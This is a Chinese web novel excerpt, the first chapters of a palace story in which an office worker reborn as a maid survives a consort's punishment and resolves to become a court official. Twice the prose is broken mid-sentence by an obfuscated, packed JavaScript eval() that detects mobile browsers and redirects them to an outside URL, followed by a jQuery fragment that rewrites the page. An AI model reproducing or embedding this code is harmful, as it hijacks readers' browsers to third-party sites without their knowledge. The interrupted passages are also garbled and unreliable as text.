《陈女官她一心养老》 1. 成宫女了 陈叶，职场顶级牛马，职业背锅人，最大的梦想就是攒够钱找个清静的地方过上理想中的退休生活。 今天，这个愿望就要实现了！ 她中奖了！五千万！ 陈叶带上帽子口罩，揣着包就坐上地铁出发。 兑奖过程很顺利，不多时奖金就到账了。 看着账户里一长串的余额，陈叶心里狂笑，老娘下半辈子都不用愁了！呆会就把那个扒皮老板给炒掉！ 冬季，暖阳，美好的一天，美好的未来。 绿灯亮起，陈叶迎着阳光随着人流前行。 “有车！快跑！”不知是谁喊了一声。 过马路的人群立马骚动起来，推搡之下，陈叶被绊倒了。 一个大胖子踩上了陈叶的脚，“卡巴”清脆的骨头被踩断的声音。 好痛！浑身都在冒冷汗，陈叶已经没法站起来了。 她只能眼睁睁地看着一只接一只的脚踩在自己身上，最后那辆引起骚动的车从自己身上碾过去。 陈叶彻底地上了眼睛。 临死前，她只想到自己卡里的四千万奖金，还没来得及花呢，自己就死了。 不甘心! 她不甘心！ — “开门！快开门！”两个小太监一边砸门一边放话。 “陈叶，陈叶，你快醒醒啊，快醒醒，呜呜呜。”银叶死死抵在门前，哭喊着试图把陈叶叫醒。 自打陈叶被淑妃打了二十大板后，就一直昏迷不醒。如今要是还醒不过来，就要被淑妃派来的小太监撵出宫去了。 用淑妃的话来说就是，如今北边大旱，国库空虚，各宫都在缩减开支，她一个废人别在宫里浪费粮食。少她一个人，宫里就能多省出一口吃的来，北边的灾民也就能多喝上几口粥。 说得倒是好听，可宫里人人都知道，淑妃善妒。陈叶不过是手巧，做的吃食得了圣上几句好话，淑妃便发了狠，随便寻个错处罚了陈叶二十大板。 二十大板啊，哪怕是个壮年男子都要丢掉半条命，何况是陈叶这个不过十六岁的小宫女。没被活生生打死就已经算是命大了。谁料淑妃还不死心，竟要将陈叶赶出宫去。 且不说外头现在灾民流窜，乱得很。陈叶一个昏迷不醒的病患被丢出宫，除了死路一条还有什么活路？想到这本就力竭的银叶又凭空生出几分力气，绝对不能让他们进来把陈叶带走，绝对不能！ 可她比陈叶还小一岁，又如何能敌过门口那两个身强力壮的小太监。 “你们两个干什么吃的！这么久了连个门都撞不开！回去就让娘娘治你们两个人的罪！”淑妃的大太监曾富贵不耐烦地发话。 一听要挨罚，两个小太监卯足了劲撞门。 “砰！”门被撞开了，银叶也被撞倒在地。 两个小太监越过银叶，直直朝着躺在床上的陈叶走去。 “不！不要！”银叶连忙爬起来，挡在陈叶床前。 两个小太监又来拉扯银叶，银叶自然不肯，直接上嘴，左咬一口右咬一口，小太监吃痛不得不把银叶推开。 小小的房间乱成了一锅粥，吵得很。 好吵，头好痛......陈叶被吵醒，迷迷糊糊地睁开眼睛，古朴的房间，梆硬的床，歪头一看，妈耶怎么还是一长串的床？ 大通铺呀这是，这场景她实在没见过，除了在宫斗剧里。 这是个什么情况？难不成自己穿越了？看现在的形势对自己很不利，那两个小太监是要把自己赶出去，那个小宫女一直拦着，摔得浑身是土。 这要怎么办才好？一来就是死局，陈叶的脑子疯狂转动。不管如何，自己决不能被拖出去，自己一没钱二没家人，外头又在闹旱灾，现在被赶出去就是个死。 “咳咳咳......”陈叶咳了几声，示意一旁缠斗的三人自己醒了。 声音沙哑得像蝉，怎么这么难听，自己不会穿成了个丑八怪吧？ 见陈叶醒了，银叶大喜，趴在床前，一直憋着的泪水断了线得流，“陈叶姐姐，你醒了呜呜呜，你终于醒了。” 陈叶没有问那个所有穿越者都会问的问题，都什么时候了，自己有眼睛看，有耳朵听。她拍着银叶的背，安抚起银叶，“我醒了，别哭了。” 曾富贵一看暗叫不好，这要是没完成任务，回去了淑妃娘娘动起怒来谁也不好受，便朝着两个小太监暗示道，“还愣着干什么？都已经昏迷了三天了，早死了，还不赶紧拖出去，省得尸体发臭冲撞了贵人！” “你胡说!陈叶她活着，她明明醒了！你不准动她！”银叶站起来护在陈叶身前。 “你是哪个小丫头片子，也敢指着咱家说话！你们两个，给我掌她的嘴！”王公公的声音尖利又刺耳。 银叶被挟持住，跪在地上就要被打。 “住手！”陈叶没办法躺着看银叶挨打，她挣扎着起来，每动一下身上就钻心的疼，对着曾公公行了个礼，“烦请曾公公受累，让奴婢见一见淑妃娘娘，奴婢有要事要告知娘娘。” 还好记忆可以继承，她已经粗略地了解完事情的前因后果。那日自己研发出新的饮子，既清凉提神味道还不冲鼻子，被呈给淑妃娘娘。谁料当日皇上也在淑妃宫里，尝了这饮子圣心大悦，便要召见自己给赏赐。赏赐是好事，淑妃宫里的曾公公来召见自己时也给了赏银，可见当时淑妃也是高兴的。可坏就坏在皇上在赏赐自己之后多说了几句话，“倒是个懂规矩的妙人，心灵手巧，貌若清荷，难怪制出的饮子也这般清爽，当赏！”淑妃的脸色当场便不好了，但碍着皇上在场没有发作，可事后便说自己犯了她宫里的规矩，要罚自己二十大板。 陈叶心知，淑妃娘娘这是怕自己存了心思勾引皇上，这才先下手为强。但淑妃未曾想过，皇上刚夸过懂规矩的人转头就以不懂规矩治罪，岂不是打皇上的脸。只要自己能够见到淑妃，就有信心说服淑妃放弃将她赶出宫。 陈叶倒不怕淑妃转过脑子以别的罪罚她，能做出这样的事的人能有什么脑子，就和她那个扒皮老板差不多，别人说什么他就听什么。倒不是陈叶吹，纵横职场十几年，什么龟毛领导没见过，顶级牛马人有的是手段。 “你唬我呢？娘娘千金之躯，其实你想见就能见的！你既能走，便乖乖的让咱家把你带出宫，否则休怪咱家不客气将你拖出去！” 妈的，陈叶心里暗骂，忘了这是在等级森严的后宫了。真是什么人随什么主子，淑妃是个没脑子不讲理的，他王富贵也好不到哪去。自己要是不把话掰碎了喂他脑子里，估计他这辈子也搞不明白。 见不到淑妃，什么都是浮云，陈叶的心沉到谷底。 “曾公公这是要把谁拖出去？”门口传来李姑姑的声音。 曾公公的品级可比李姑姑高，背后还有淑妃撑腰，自然不怕她，“一个不懂规矩的小宫女冲撞了淑妃娘娘，烦请李司膳让路，咱家这就把她拖走。淑妃娘娘清净了，你这司膳司才能清净不是？” “尚宫您请。”李姑姑不语，侧过身让了身位，身着五品女官服的王尚宫走了进来，后头还跟着两个穿着打扮与李姑姑类似的女官。 “王尚宫您来了！求您救救陈叶吧，求您了！”银叶扑到王尚宫跟前，重重的磕了几个响头。洁白的额头瞬间沁出血丝，可银叶仿佛不知痛似的，还不停地磕着。陈叶没想到银叶的动作如此之快，时间太短她还没摸清楚整个宫里的局势，不敢乱求人。但如今银叶这样做，她相信银叶不会害她，也连忙跪下随着银叶一同磕头。 “好孩子，你起来。”王尚宫示意李姑姑将人搀扶起来。 “见过王尚宫。”曾公公行了个礼，王尚宫是五品女官，品级比他高，他不得不低头。 “这不是淑妃宫里的曾公公吗？怎么今日得闲大驾光临我这尚食局来了。” “奴才奉淑妃娘娘之命，来处理个不懂规矩的宫女，扰了尚宫的清净，是奴才的不是。奴才这就把人带走，还尚宫一个清静，还望尚宫莫怪。” “哦？我怎么记得这宫女淑妃娘娘已经罚过了？如今这是又犯了什么错，还要赶出宫去？我竟不知这尚食局如今是淑妃娘娘做主了？” 处罚宫女这事可大可小，往小了说不过是个宫女。往大了说，尚食局管的是宫里众位贵人的饮食，要是谁都能来插一手，宫里的主子还要不要吃饭了？还敢不敢吃饭了？王尚宫这差怕是再也不用当了。更何况陈叶已经挨过罚了，于情于理，王尚宫都占上风。 “不敢不敢。”曾公公暗道不好，王尚宫这架势是硬要将人留下，这可就难办了。王尚宫原先在皇后娘娘宫里当差，后被皇上钦点为三局尚宫，背后是皇上皇后两座大山，要是真闹起来，自己可就是给淑妃娘娘惹麻烦了。 “既如此，公公慢走。”王尚宫也不多与曾公公废话，她掌管着尚仪局、尚服局、尚食局三局，每日事务多如牛毛，没功夫与他饶舌，人走了就好。 王尚宫发话赶人，曾公公权衡一番利弊，只得告辞，带着两个小太监灰溜溜地走了。 死局破了？这就破了？自己得救了！在这宫中原来权力是这般好使的吗？陈叶还愣着神呢，李姑姑赶忙提醒，“你们两个，快过来谢过王尚宫。” 陈叶回过神来，和银叶跪下，重重磕了一头，“谢过王尚宫。” “罢了，起来吧。以后当差仔细些。”说完王尚宫便带着人走了，临走前还深深地看了李姑姑一眼。 “恭送尚宫。” “李姑姑，还好你带着王尚宫来了，不然我和陈叶姐姐都不知道该怎么办了。”王尚宫一走，银叶又开始抱着陈叶哭。 陈叶拍了拍银叶的背，示意她放开自己，随即给李姑姑磕了个头，按照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈叶姐姐，你说了，在宫里我们就是亲姐妹。你对我的好我都记着呢，你聪明手还巧，这些年若没有你时时帮我上小课，我怕是早就被赶出膳房，到司服局洗衣裳去了，我听说司服局的宫女寒冬腊月手都起冻疮了还不得歇。我们司膳司可就好多了，还能有零嘴。反正从我们认姐妹那天起，我就决定了，你去哪我就去哪，你干什么我就干什么。你不准抛下我一个人。”银叶越说越激动，仿佛陈叶真的马上就会抛弃她，使劲抱住陈叶。 “好了好了，我没说要抛弃你。我只是真的谢谢你。对了，我昏迷了好些日子，好多消息我都不知道，你同我说说呗，省的当差时犯了忌讳。”陈叶算是看出来了，银叶就是憨憨的吃货，如果没有陈叶和李姑姑护着她，她是极难在宫里生存下去的。 “对哦，我同你讲。前两日咱们司的王掌膳和司酝司的郑掌酝起了囹圄，你可得避着点她俩，她俩现在逮住谁做事不利索就骂谁。虽说咱们掌膳和王掌膳还有郑掌酝关系都不错，但就怕两人起了争斗的心思，万一殃及我们那可就是无妄之灾了......”银叶到底还小，放松下来便昏昏欲睡，只说了一小会话，就和周公相会去了。 见银叶熟睡，陈叶这才有时间理清脑子里的记忆。这是一个她没听过的朝代，叫大庸。原来的这个陈叶是有家人的，八岁时逃灾路上被流民冲散了，好在命大，一路上靠着行乞竟走到了皇城脚下，碰上了宫里采选宫女，便进了宫。后来因为做事麻利，被李姑姑选到尚食局干活。 李姑姑待她极好，现在见她和银叶大了，也渐渐地开始传授手艺，让她们两个自己能有一技傍身。原本陈叶打算的是先做宫女攒钱，等攒够了钱，到二十五岁就出宫去寻亲。当然这事她一直放在心里，没有和任何人说过。对外只说，自己将来要考女官。原本日子过的好好的，可谁想飞来横祸，挨了三天还是没顶住，咽气了。 寻亲陈叶是不打算寻了，都过去这么久了谁知道他们是死是活。就算寻到了，万一都是不着调的亲戚，那还了得。 不过考女官嘛，这倒是个好路子。若是考上了，将来像李姑姑一样，升官攒钱，求恩典出宫养老。何况在宫里，没有官职那就是个小卡拉米，要打要杀就是上面一句话的事，若是当了女官，无论怎么样，总归是比什么都没有小宫女强。 只是女官选拔向来严苛，识文断字只是基础，除了和外头得男子科考一样要答题写文章笔试，还要面试，届时还会有女官提问，所以必须精通自己所考这一局的所有事宜。想到这里，陈叶叹了一口气，深深的无力感涌上心头，穿越就也就罢了，还是个宫女，底层的底层。上辈子是个牛马，好不容易熬到头了，结果被车撞死了。又好不容易穿越重生一回，原以为老天照顾自己，可没想到这辈子还是个牛马，还是个随时都会丧命的牛马。 苍天啊，四千万啊，你就这样亏待我啊！ 好在陈叶向来不是一个消极悲观的人，既来之则安之，何况她也回不去了。她决定了，她要攒钱，要考女官！她要为自己的养老大计谋划。 2. 决心考女官 女官不是想考就能考的，陈叶搞清楚了，也是四年一擢选。她来得正是时候，明年六月，宫里头不忙的时候就是新一届的女官擢选。 现下刚入夏，满打满算还有一年的时间。陈叶沉下心，说干就干，准备趁着这几天李姑姑让自己休养，尽快把曾经学过的东西全部理透，还要把这里的字给熟悉全。好在之前李姑姑听自己说要考女官，早就让自己去她房里搬了一堆书来，眼下也不用特地去找书，就有现成的。 虽然自己继承了原主的记忆，可知道是一回事，弄懂是一回事，能上手又是另一回事。还有案板上的活，自己从前是有练厨艺的打算，可工作太忙，一拖再拖，最后干脆把它归到养老后要做的二十件大事里面。平日里只有休假心血来潮时，才尝试着做上两道，当作自己牛马生活里的乐趣和慰藉。那一点点手艺，不提也罢，根本不够看。如果自己不提前练练手，是真怕到时候会露馅。 脑子一边想着，手已经拿起了枕在头下的书开始翻。书上处处都有朱笔写下的批注，可见备考之人的用心。陈叶凝下心，静静地看起来。 脑子里的记忆还在，认起字来不算太费劲，待到银叶醒来也磕磕绊绊地看了四五页。 银叶醒来便看到陈叶趴在床沿上看书，也翻身趴下，头枕在手上，认真地看着陈叶，“陈叶姐姐，我总觉得你好像不太一样了。” 原本一心扑在书上的陈叶听了，心一颤，不知是哪里露了馅，但还是强装淡定又翻了一页书，“是吗？你倒是和我说说哪不一样了？” “说不出来，就是觉得你好像更用心了，往常你只有不当值的时候才会把姑姑给你的书翻开。但现在你还病着呢，就开始翻书了，你这样认真，肯定能实现愿望，考上女官的。” 听完银叶的话，陈叶悬着的心瞬间落地，估计原主并没有把考女官这事太放心上，难怪这书上的字迹都是陈旧的，应当是李姑姑留下的，“这不是鬼门关走了一遭，才明白在这宫里只有权势最管用。既进了宫，当了奴婢还想要安度晚年，就必须努力搏出一条路来。” “陈叶姐姐，我相信你，你一定可以的。到时候你当女官，我就当你身边最得力的狗腿子。”银叶笑吟吟地看着陈叶，眼里闪闪发光，全是对未来可以在女官身边作威作福的向往，“要是你当了女官，肯定会给我留更多零嘴，到时候我就是宫里最幸福的小宫女。” 陈叶也是没招了，避开伤口，宠溺地戳了戳银叶的额头，“你啊你，怎么净想着那么一点零嘴啊。” “哎呀，给我留嘛~”银叶抱着陈叶的胳膊开始撒娇，很亲昵。陈叶的脑海里浮现出一幕幕从前银叶抱着她的胳膊撒娇的场景，从寒冬到炎夏，从大雪到细雨，从年幼到长大。 陈叶没有妹妹，只有一个整天在家作威作福的弟弟，父母也总是希望吸她的血去养弟弟，所以等哄着父母供自己读完大学，就直接一刀两断玩起了消失。她没有家，更没什么存款，因此即便老板再扒皮，她也坚持干了下来。但外表再坚硬的人，也会有孤独的时候，每次过年，合家团聚欢乐的时候，她总是一个人守在冰冷的出租房里。陈叶不得不承认在银叶和李姑姑身边，她真真切切的感受到了家的温暖。 银叶为了她，拼死拖住王富贵手下的两个小太监，还有李姑姑，她又不是没在职场混过，李姑姑凭什么能让王尚宫赶过来救自己，那肯定是付出了代价的。想到两个没有血缘关系的人能为自己付出到这种地步，陈叶眼眶一湿，“好好好，给你留，给你留，好吃的零嘴全给你留下。” 屋子外头传来一阵喧闹，是同屋的宫女下值回来了。 银叶这才一拍脑袋，“天哪，都这么晚了，咱们连午膳都没吃，现下怕是连晚膳都没了。你等着，我去膳房看看还有没有什么吃的能拿回来，咱们今晚先凑合一下。” 银叶麻利地爬下床，穿好鞋，打开门就往门外跑。 “哎呦。小心点小心点，把我撞摔了可怎么办？” “彩叶姐姐，对不住对不住。”银叶一看是彩叶，连忙低头道歉，彩叶是个不饶人的性子，得罪了的话可是好几天都不得安生。现下李姑姑忙，陈叶病，自己可不能再给她们惹麻烦了。 “进去吧，都这么晚还跑出去做什么？屋里这么暗，怎么连灯也不点？”声音有些娇蛮，一听就知道不是个好惹的。 “是我的错，我睡昏了头，一时忘记点了。彩叶姐姐莫怪，我这就去点。”银叶只得又转回房内，把灯点着。 屋内亮堂起来，陈叶这才看清彩叶的脸，皮肤白皙，面容姣好，即使是暗沉的宫女服饰也能穿出别有一番风味的感觉。 陈叶知道彩叶，刚进宫时与银叶还有自己都在一起，后来又同时分到了尚食局做事，原本也是十分要好的。可后来自己和银叶被李姑姑挑走，彩叶被王掌膳挑走了，虽然还是住在同一处，但总归有不在一起的时候，她心里便不舒服起来，总觉得自己待她与待银叶是不同的，三人的关系也就有些微妙。 “去哪啊？毛毛躁躁的。”彩叶在桌边坐下，端起腔来。 “去膳房。”银叶立在一旁回，她知道彩叶心里有气，但她和陈叶是不可能分开的。既如此，在口头上让她三分也无妨。 “去膳房啊？这么晚了，还能有东西吃吗？” 银叶不说话，她知道大概率是没有了，可若是塞些银子，看炉火的小太监也是愿意行个方便的。陈叶姐姐昏了这么久，不能再饿着了，哪怕是碗白水面也好。 见银叶不回，转头又看见还趴在床上养伤的陈叶，彩叶偃旗息鼓，也不再多说什么，低头从怀里拿出一个油纸包，递给银叶，“呐。” 银叶愣了，没接。见银叶不接，又道，“看什么，拿着呀。今日你们中午没来膳房，晚上也没来，知道你们快一天没吃东西了，赶紧吃了吧。我要去洗漱了。” 话毕，彩叶把油纸包往银叶手里一塞，便掉头去找面巾了。 “彩叶，谢谢你。”趴在塌上的陈叶知道彩叶人不坏只是心里别扭，笑道。 银叶还拿着油纸包不知道该怎么办，听见陈叶这么说，也连道，“彩叶姐姐，谢谢你。待过几日我攒了零嘴都给你吃。” 彩叶哼了一声，“谁稀罕你那点零嘴。” 待到彩叶走开，其他小宫女才敢围上来关心，问陈叶和银叶今日发生的事情。 “诶，陈叶如今你醒了，可是要飞上枝头变凤凰了？”一个看上去年纪稍长的宫女率先开口。 陈叶打量了一下这人，有印象，叫碧云，是郑掌酝手下的宫女。碧云皮肤也白，是个吊梢眼，可眼睛也忒小了，总结：不如彩叶好看。好看的人作妖或许别有一番风味，但丑人那就不是作妖而是作怪了。 何况彩叶虽然嘴上不饶人，行动上却从未亏待过她与银叶。而这碧云明知道自己被善妒的淑妃责罚，还用这样的问题来试探自己，根本就是不安好心。如果自己是个没脑子，应了这句话，她敢说今日自己敢应，明日就能被淑妃找个由头直接打死拖出宫去。 陈叶敛了敛神，“碧云姐姐这是哪里的话？我怎么不知晓还有这事？” “诶呀，宫里谁不知道你得了皇上的称赞？若没有淑妃......”碧云顿了顿，又像是害怕什么，刻意压低声音，“怕是你早就被皇上宠幸，飞上枝头做娘娘去了，哪还用得着和我们一样做着伺候人的苦力活。” 陈叶本打算她若不回，自己也不再说，这个话头便让它溜过去了。可着碧云不仅继续拉着自己说这话，还一副为自己不值的模样。人言可畏，这话传出去，要是不知道的，还以为她真要去和淑妃争皇上的恩宠呢。 碧云不退，陈叶也懒得再打哈哈，拉过她的手，看着围在一旁的众人，大声说道， “碧云姐姐这里哪里的话，皇上夸奖的是我作为奴婢能制出让主子饮得舒服得饮子，这是嘉奖我作为奴婢守好了自己的本分，又不是旁的。淑妃娘娘罚的是我作为奴婢却犯了她宫里得规矩，这本就该罚，怎么能说是淑妃娘娘得错呢？何况现下外头闹旱灾，到处是流民吃不饱穿不暖的。在宫里伺候主子虽说辛苦，可主子们都是菩萨心肠，给咱们饭吃，给咱们衣裳穿，能这样我已是知足了。好姐姐，你听妹妹一句劝，什么伺候人的苦力活这样的话往后可不能再说了，咱们做奴婢的，要知足，只要守好自己的本分，该赏该罚主子们自有定夺。” 碧云刚想开口反驳，但一旁年纪小的宫女听陈叶这么说，便凑过来，挤开碧云，“陈叶姐姐，外头真有这么乱啊？” “不好说，我也是当差的时候听负责采买的姑姑们说的。” 房里的小宫女们又重新围成了一个圈，碧云在不知不觉中已经被挤到了外围。 “要真这么乱，那我娘还有我妹妹可怎么办啊，” “是啊，我家自我进宫领了俸禄才好过一些，这下又有流民作乱，这日子可怎么过啊。” “别担心，皇上不正带着诸位大臣赈灾嘛，皇后娘娘也下令让咱们节省开支，大家就把心放肚子里吧。若真担心，那更要在宫里守好本分，好好当差，发了俸禄好给家里送去，这日子才过得下去啊。” 碧云发觉自己被挤到了外边，觉得自己被拂了面子，脸青一阵紫一阵的，“呸，什么守本分，恩宠到了眼前都不敢争，我看你就是那做奴婢的命！” 陈叶听了也当没听到，她算是明白了，这碧云不仅坏，还蠢，难怪比她们早四年进宫当差，却还是个三等宫女，若不是被郑掌酝选去手下做事，估计根本不能和她们住到一起。一个又蠢又坏的人罢了，陈叶不欲与她多纠缠。 陈叶不想理碧云，可有人不服她。一个还稚嫩的小宫女嘟嘟囔囔，“你难道不是做奴婢的命？那你怎么还在这？怎么不到宫里头坐着去当娘娘，等着咱们伺候？反正我觉得陈叶姐姐说的在理，咱们可得好好当差，若被赶出了宫那便是连俸禄也没有了。” 碧云气急，指着那小宫女骂，“你说什么？我看你......你也是个当奴才命！” 那小宫女也不服，当即就要站起来和碧云理论。银叶看着气氛不对，赶紧说，“好了好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323125|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，陈叶姐姐都还没吃东西呢，都散了吧，该洗漱就洗漱去，好好休息一晚，明日还要当差呢。” 众人这才散去，陈叶揉了揉发紧的眉心，当宫女比当牛马累，牛马还能有自己的时间放松一会，不用时刻担心脑袋不保。可当宫女真是时时刻刻都要谨慎，一不小心就会掉进别人的话套子里，然后命丧黄泉。 银叶凑过来把油纸包拆开，拿出一个馒头，还有些温热，递给陈叶，“陈叶姐姐，你先吃，我去给你倒水。” “谢谢银叶，你也吃。” 刚才众人说话费了不少时间，彩叶已经洗漱回来了，一看，两人还在就着水吃馒头，一边坐上榻，一边说着，“这么久了还没吃完，馒头都凉了，李掌膳还说你们做事利索，依我看你们真是像乌龟一样慢。” “是是是，我俩是丑乌龟，彩叶姐姐是美兔子，做事最麻利了。谁不知道我们彩叶姐姐是膳房里的一把好手，是王掌膳心腹！彩叶姐姐今日劳累了~还吃些不？” 彩叶很久没听过陈叶这样说话了，顿时激出一身鸡皮疙瘩，赶忙摸了摸自己的手臂，“你.....你今日发什么疯，该不会被打傻了吧？” “噗呲。”银叶没忍住笑了出来。陈叶也笑眯眯的。 彩叶愠了两人一眼，抽了抽嘴角，硬是忍了下来，没好气道，“我吃饱了，你们吃吧。” “那等我好了，不当值的时候拿银子去黄御厨那换几个好菜，摆一小桌，咱们姐三好好吃一回。” 彩叶不自觉撇过脸躺下，拉上被子盖住头，良久才闷闷地说了一句，“再说吧，我有没有时间还不一定呢？” 银叶偷偷瞄了一眼睡下的彩叶，凑到陈叶耳边，低声，“彩叶姐姐好像也变了，之前她总是带着刺一般和我们呛，今日她竟然什么话也不说，直接睡下了。” “那你觉得是这样的彩叶好？还是从前和我们呛来呛去的彩叶好？” “嗯......”银叶撑着头想了想，“其实这两个彩叶姐姐我都不喜欢，我喜欢最开始的彩叶姐姐，嘴上不饶人，但愿意和我们打闹，心里亲近着呢。” “那我们就慢慢把彩叶变回原来那个样子好吗？我们还像原来一样相处。”陈叶知道彩叶心里还有她俩，不然怎么会还关心自己和银叶今天有没有吃饭，只不过她心里憋着气，拉不下这个脸罢了。 “真的可以吗？那也太棒了！”银叶激动地搂上陈叶的肩膀，但不忘压低声音。 碧云洗漱完回来，见屋里静悄悄的，偶有几声，也是几个相熟的宫女贴着耳朵说小话。她怪不习惯的，又见彩叶将自己窝在被子里，“欸？彩叶今日咱们睡得这么早？也不和咱们聊聊天？” 可大约是今日碧云的话惹了众怒，往日里愿意与她聊天说话的小宫女们竟一句也没搭理她，都默默地收拾东西躺下。 膳房的活虽然轻还有油水，可也磨人，需要比寻常宫女早起一个时辰准备早膳，各宫的主子们起了都是要用膳的，耽误不得。 “大概是今日当值累着了，大家伙动作都轻些，早些睡吧。”陈叶回她。 陈叶原本也想睡下，但实在是没法做到不洗漱就直接睡。便缠着银叶，和银叶一起轻手轻脚地收拾东西去了浴堂，不过银叶拦着不让她沐浴，她也知道银叶是为自己好，便遂了银叶的意，只是擦了擦身子。 一身清爽，陈叶这才睡下。 天还黑着呢，屋里就已经有了窸窸窣窣响声。陈叶睡得浅，也醒了。 屋里众人都忙活着，穿衣服的穿衣服，梳头发的梳头发。银叶发觉陈叶醒了，便和她说，“陈叶姐姐，我上值去了，你再睡会，姑姑说了等你好了再当值。” 陈叶嗯了一声，庆幸自己还病着，可以先慢慢适应个两天，否则要她这么早爬起来当牛马，她真的会觉得人生无望。 醒都醒了，她也不打算再睡下去了，便又拿出书来，一字一句地嚼起来。 李姑姑本是趁着早膳这一轮忙完了，念着陈叶还在病中，需要补补，便带了肉末粥来。推开门一看，陈叶竟是在翻自己给她的书，满眼欣慰，“可看得明白？” “姑姑，你怎么来了？”陈叶一惊，就要从床上爬下来给李姑姑行礼。 “诶诶诶，别动。我来看看你，还没吃早膳吧，我给你带了粥。”说着，李姑姑从食盒里端出碗粥来。 陈叶撑起身子就要接过粥，却被李姑姑拦住了，“别动了，我喂你。” “啊？”陈叶有些没反应过来。 “怎么？害臊啦？你小时候病了我不也给你喂过？”李姑姑笑着，舀起一勺粥，吹了吹，送到陈叶嘴边。 “谢姑姑。”陈叶道谢，喝下粥。 待喂完粥，李姑姑拍拍衣裳站起来，“好了，我也还有活要干，就先走了。往后这书你若是有看不明白的地方，随时来我房里问我。” “好，到时候姑姑可别嫌我烦。” “肯定不会，我走了，你继续看吧。” “姑姑慢走。”　陈叶看着李姑姑关上门，这才又看起书来。 3. 小青子 几日过去了，陈叶的身体已经恢复了许多。 这几日趴着看书也累得慌，便央求着去膳房为银叶打下手。 银叶本是不愿意的，她希望陈叶可以好好休息，在这宫里当了八年差了，每日起早贪黑，除了半月一次的轮班休沐，都没有好好地休息过。直到真的危及到性命才换来几日的休息时间。 陈叶知道银叶是为了她好，如果她真的能够熟练地使用膳房里的各个工具，她也不愿意浪费自己的休息时间去膳房做活。可陈叶不能啊，她心里没底，慌得很啊！ 在陈叶的一再坚持下，银叶妥协了。 今日银叶早了一个时辰下值，陈叶来接她的班，做好扫尾工作。 “那你当心些，别碰着伤口，若是应付不过来便来唤我。”银叶边出膳房，嘴里还不停地叮嘱着。 “好好好，我的好妹妹，这几日你也辛苦了，今日就好好休息一回。”陈叶推着银叶往膳房外走，嘴上不停地应着。不过说归说，她肯定不会轻易去找银叶来的。好不容易逮到机会可以在膳房练练手，她是绝对不会放过这个机会的。 银叶依依不舍、一步三回头地走了。 “陈叶姐姐。”膳房里的几个小宫女见陈叶进来，连忙问好。 “嗯。”陈叶点头，默默数了数人头，六个，人还是有些多了，现在不适合练手。陈叶按照记忆往里走找到银叶的位置，帮她将案板上的东西一一收拾好。 估摸着过了一会，陈叶扫视一圈，打量了一下整个膳房，道，“剩下的活也不多了，各位妹妹今日就先回吧，接下来的活都交给我就好了。” 几个小宫女面面相觑，最后还是个叫碧荷的小宫女回道，“这怎么行呢，陈叶姐姐你还伤着呢，不若姐姐先回，我们把这剩下的活干完再走。” 陈叶记得碧荷，那日她在房里差点与碧云吵了起来，印象挺深深刻的，“你是碧荷吧，和我住一屋的，我记得你。” 顿了顿又扫视一圈众人，“前几日我伤的重，没法来膳房当值。要细算起来，我这几日的活都是各位妹妹帮忙做了，多亏了几位妹妹在膳房分担我才能安心养伤，在这里我还得先谢谢各位。这扫尾的活也不重，我慢慢干也能干完。你们辛苦了好几日，今日先下值，或早些休息或与小姐妹一起唠嗑都好，就当是我答谢各位了。我会一直等到当值姑姑来，姑姑那我也会说清楚，不会记你们旷职的，你们安心下值吧。” 几位小宫女一听后顾之忧也没有了，明显心动了，但却不敢直说，你推我我推你的。还是碧荷站了出来，行了一礼，“既如此，那便谢过陈叶姐姐了。” 剩下的小宫女也接着道谢，随后便欢欢喜喜地下了值。 陈叶抓紧时间，收拾好膳房。找到自己的位置，从废料筐拾起一块萝卜，拿起刀按照记忆中的方式开始切。 要真算起来，陈叶已经很久没有摸过刀了，她怕会切到手，吧嗒吧嗒.....一刀一刀落得很慢。 不过很快她就发现身体还是存在一些记忆的，萝卜片切得很均匀的，拿起来细细看竟还能透光。 难道身体的本能被唤醒了？这就好办了，不需要再苦练技艺也能在膳房活下去了，不用特地担心自己会因对膳房的活不熟而露馅了。嗒嗒嗒......菜刀与菜板不断地碰撞着，发出一阵有节奏的声音，她慢慢加快速度，试图回到自己本该拥有的水平。 “吧嗒。”东西倒在地上的声音，这声音来的突然，打断了专心练习的陈叶，她手一抖，刀一歪，差点切到了手。 陈叶仔细想了想，外间那些小宫女的案板她已经收拾得差不多了，不应该有东西掉下来。如果不是掉东西，那就是有人！可现在已经过了宫女太监们放饭的时候，也还不到交班的时候，谁会来？那不成是宫里的主子要加小菜？可这也早过了妃嫔们用膳的时间了，再过一会交了班，洗碗的宫女们就要上值了。 陈叶的心悬了起来，她拿起菜刀藏在身后，小心翼翼地往外走，“谁？” 白肃清也没想到自己今日这么倒霉，本想上房梁藏起来，可衣带竟不小心勾到了一根柴。他自幼习武耳力不错，能听得出里头的人脚步很轻地往外走。眼见自己已经藏不住了，情急之下看到了灶下的灰，横下心往脸上一抹，出来跪下夹着嗓子回话，“姑姑莫怪，我是不小心的，这就捡起来。” 声音尖细，应当是个小太监，陈叶松了口气，放下刀，走出来。细细打量着来人，穿着最低品级的太监服，身上灰扑扑的，帽檐下压，看不清脸，问道，“你是哪宫的小太监？” “我......我是东宫的。” “东宫？”陈叶疑惑，东宫离这里可有段距离，这小太监没事跑来这里做什么？ 白肃清今日来膳房是有要事要做，可不能暴露身份，否则人头不保，情况紧急。 白肃清硬着头皮闭上眼就开始胡诌，“是，我今年刚进宫，被分到东宫做事。东宫得势的太监们看我长得好就想......就想欺辱我，我不愿意，他们就不给我饭吃。”他说得真切凄惨，甚至还带上了哭腔。 